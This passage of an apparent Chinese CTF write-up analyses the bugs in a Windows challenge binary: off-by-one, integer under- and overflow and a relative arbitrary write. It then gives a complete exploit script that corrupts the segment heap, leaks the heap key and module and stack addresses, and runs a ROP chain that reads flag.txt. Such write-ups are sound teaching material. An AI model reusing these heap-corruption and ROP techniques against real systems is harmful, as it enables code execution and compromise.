。如果是第一次使用 attack
功能,那么触发除 0 异常,对应异常处理会将设置全局指针 write_base
指向新申请的 Block
。
improve
:如果 user.score
非 0 会将一部分 user.score
的值转移到 user.hurt
。这里 user.score
存在负溢出,会导致 user.score
的值变得特别大。
wall
:堆菜单
show
:如果是 tip2
会输出 0x20000 的 Block
的内容。
edit
:如果是 tip2
会检查 0x20 的 Block
的前 8 字节是否为 0x1A1A2B2B3C3C4D4D ,如果是则可以编辑 0x20000 的 Block
的前 100 字节,否则只能有一次编辑 0x20000 的 Block
的前 10 字节的机会。
delete
释放 Block
。
user_manager
:管理用户
create_user
:创建用户。
show_user
:输出用户的相关信息。
edit_name
:修改 user.name
,存在 off-by-one 漏洞,可以越界写 user.is_vip
。
buy
:存在一个次以全局指针 write_base
指向的地址为基址向低地址偏移最多 0x27f8 字节的地址的任意 8 字节写入。但前提是对应 user.score > 9999999
。
bonus
:设置 user.hurt
。函数对 user.hurt
的判断未考虑输入为负数的情况,可以将 user.hurt
设置为一个很大的数。但前提是 user.is_vip
非 0 。
根据上述分析有如下漏洞利用思路:
首先利用 edit_name
越界写设置 user.is_vip
为非 0 ,然后利用 bonus
设置 user.hurt
为负数。
之后作如下堆排布,同时利用 improve
设置 user.score
为 -1 。
利用 buy
功能越界写 DescArray
造成 heap overlap ,然后利用 tip1
申请 0x20000 的 Block
使得越界的 Block
与 VsSubsegment
重叠。
之后使用 tip2
申请内存时 0x20 的 Block
从 VsSubsegment
中申请,而 0x20000 的 Block
则直接申请出整个 VsSubsegment
。由于 heap_ptr[6]
的 xor_key
未被破坏(先把需要的堆块全申请完再填的堆块信息),因此可以进行 0x100 字节的写入从而控制 heap_ptr[3]
。至此我们有无限次的任意地址读和 1 次 0x10 字节的任意地址写。
之后的利用可以参考 double malloc 。不过要想写入 rop 一次 0x10 字节的任意地址写是不够的。不过我们可以利用这次任意地址写修改 heap_ptr[6]
指向要写入 rop 的地址,由于 heap_ptr[6]
的 xor_key
未被破坏,因此可以进行 0x100 字节的写入。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 from winpwn import *context.log_level = 'debug' context.arch = 'amd64' pe = winfile("easy_wm_winpwn.exe" ) ntdll = winfile("dll/ntdll.dll" ) ucrtbase = winfile("dll/ucrtbase.dll" ) p = process(pe.path) def choose (choice ): p.sendlineafter("Your choice: " , str (choice)) def enter_game (id ): choose(1 ) p.sendlineafter("Please enter user id:" , str (id )) def exit_game (): choose(4 ) def attack (tip, size=0 ): choose(1 ) choose(tip) if tip == 1 : p.sendlineafter("Acquired size: " , str (size)) def improve (val ): choose(2 ) p.sendline(str (val)) def show_wall (idx ): choose(3 ) choose(1 ) p.sendlineafter("plz:" , str (idx)) p.recvuntil("Content: " ) def edit_wall (idx, content ): choose(3 ) choose(2 ) p.sendlineafter("plz:" , str (idx)) p.send(content) def delete_wall (idx ): choose(3 ) choose(3 ) p.sendlineafter("plz:" , str (idx)) def enter_manage (): choose(2 ) def exit_manage (): choose(4 ) def create_user (name, age ): choose(1 ) p.sendafter("Please enter username:" , name) p.sendlineafter("Please enter age:" , str (age)) def show_user (id ): choose(2 ) p.sendlineafter("Please enter user id:" , str (id )) def edit_user (id , name ): choose(3 ) p.sendlineafter("Please enter user id:" , str (id )) p.sendafter("Please enter username:" , name) def buy (id , offset, val ): choose(3 ) p.sendlineafter("Please enter user id:" , str (id )) p.sendlineafter("You can get a huge gift because you defeated the monster" , str (offset)) p.sendline(str (val)) def bonus (id , val ): choose(0x3157C ) p.sendlineafter("Please enter user id:" , str (id )) p.sendline(str (val)) def verify (id ): enter_manage() show_user(id ) exit_manage() enter_manage() create_user("sky123\n" , 0 ) edit_user(0 , 'a' * 0x50 + '\x01' ) exit_manage() bonus(0 , 1 << 31 ) verify(0 ) enter_game(0 ) attack(3 ) attack(1 , 0xfe90 ) attack(1 , 0x20000 ) attack(2 ) attack(1 , 0x20000 ) improve(6 ) delete_wall(2 ) exit_game() verify(0 ) buy(0 , 0x3bb , 0x5304ffff00000002 ) enter_game(0 ) attack(1 , 0x20000 ) attack(2 ) edit_wall(6 , 'a' * 0x80 ) show_wall(6 ) p.recvuntil(p64(0x1a1a2b2b3c3c4d4d )) page_segment = u64(p.recvline(drop=True ).ljust(8 , '\x00' )) - 0x34010 log.success("PageSegment addr: " + hex (page_segment)) def arbitrary_address_read (address ): edit_wall(6 , 'a' * 0x48 + p64(address)) show_wall(3 ) return p.recvline(drop=True ) def arbitrary_address_write (address, content ): edit_wall(6 , 'a' * 0x48 + p64(address)) edit_wall(3 , content) vs_subsegment = page_segment + 0x2000 log.info("VsSubsegment addr: " + hex (vs_subsegment)) chunk_header_addr = vs_subsegment + 0x30 chunk_header = u64(arbitrary_address_read(chunk_header_addr)[:8 ].ljust(8 , '\x00' )) log.info("chunk header addr: " + hex (chunk_header_addr)) log.info("chunk header: " + hex (chunk_header)) heap_key = chunk_header_addr ^ chunk_header ^ 0x000100000012000f log.success("RtlpHpHeapGlobals.HeapKey: " + hex (heap_key)) segment_heap = u64(arbitrary_address_read(page_segment)[:8 ].ljust(8 , '\x00' )) - 0x148 log.success("SegmentHeap addr: " + hex (segment_heap)) vs_context = segment_heap + 0x280 log.info("VsContext addr: " + hex (vs_context)) vs_context_callbacks = vs_context + 0x88 log.info("Vscontext.CallBacks addr: " + hex (vs_context_callbacks)) ntdll.address = (u64(arbitrary_address_read(vs_context_callbacks)[:8 ].ljust(8 , '\x00' )) ^ heap_key ^ vs_context) - 0x77440 log.success("ntdll base: " + hex (ntdll.address)) peb_addr = u64(arbitrary_address_read(ntdll.address + 0x16A428 )[:8 ].ljust(8 , '\x00' )) - 0x240 log.success("peb addr: " + hex (peb_addr)) teb_addr = peb_addr + 0x1000 log.info("teb addr: " + hex (teb_addr)) pe.address = u64(arbitrary_address_read(peb_addr + 0x10 + 2 )[:8 ].ljust(8 , '\x00' )) << 16 log.success("pe base: " + hex (pe.address)) ucrtbase.address = u64(arbitrary_address_read(pe.imsyms['puts' ])[:8 ].ljust(8 , '\x00' )) - ucrtbase.symbols['puts' ] log.info("ucrtbase base: " + hex (ucrtbase.address)) stack_base = u64(arbitrary_address_read(teb_addr + 8 + 2 )[:6 ].ljust(8 , '\x00' )) << 16 log.success("stack base: " + hex (stack_base)) stack_limit = u64(arbitrary_address_read(teb_addr + 16 + 1 )[:7 ].ljust(8 , '\x00' )) << 8 if stack_limit == 0 : stack_limit = u64(arbitrary_address_read(teb_addr + 16 + 2 )[:6 ].ljust(8 , '\x00' )) << 16 log.success("stack limit: " + hex (stack_limit)) search_length = 0x100 rop_addr = -1 for address in range (stack_base - 8 , stack_limit, -8 ): log.info("address: " + hex (address)) if arbitrary_address_read(address)[:8 ].ljust(8 , '\x00' ) == p64(pe.address + 0x27F1 ): rop_addr = address break buf_addr = rop_addr + 0xd8 + 0x8 payload = '' payload += p64(ntdll.search(asm("pop rcx; ret" ), executable=True ).next ()) payload += p64(buf_addr) payload += p64(ntdll.search(asm("pop rdx ; pop r11 ; ret" ), executable=True ).next ()) payload += p64(0 ) payload += p64(0 ) payload += p64(ucrtbase.symbols['_open' ]) payload += p64(ntdll.search(asm(" pop rsi ; pop r12 ; pop rdi ; pop rsi ; ret" ), executable=True ).next ()) payload += '\x00' * 0x20 payload += p64(ntdll.search(asm("pop rcx;ret" ), executable=True ).next ()) payload += p64(3 ) payload += p64(ntdll.search(asm("pop rdx ; pop r11 ; ret" ), executable=True ).next ()) payload += p64(rop_addr - 0x2000 ) payload += p64(0 ) payload += p64(ntdll.search(asm("pop r8;ret" ), executable=True ).next ()) payload += p64(0x100 ) payload += p64(ucrtbase.symbols['_read' ]) payload += p64(ntdll.search(asm(" pop rsi ; pop r12 ; pop rdi ; pop rsi ; ret" ), executable=True ).next ()) payload += '\x00' * 0x20 payload += p64(ntdll.search(asm("pop rcx;ret" ), executable=True ).next ()) payload += p64(rop_addr - 0x2000 ) payload += p64(ucrtbase.symbols['puts' ]) payload = payload.ljust(buf_addr - rop_addr, '\xcc' ) payload += 'flag.txt\x00' log.info("rop addr: " + hex (rop_addr)) log.info("buf addr: " + hex (buf_addr)) arbitrary_address_write(page_segment + 0x34010 + 0x88 , p64(rop_addr)) edit_wall(6 , payload) exit_game() p.interactive()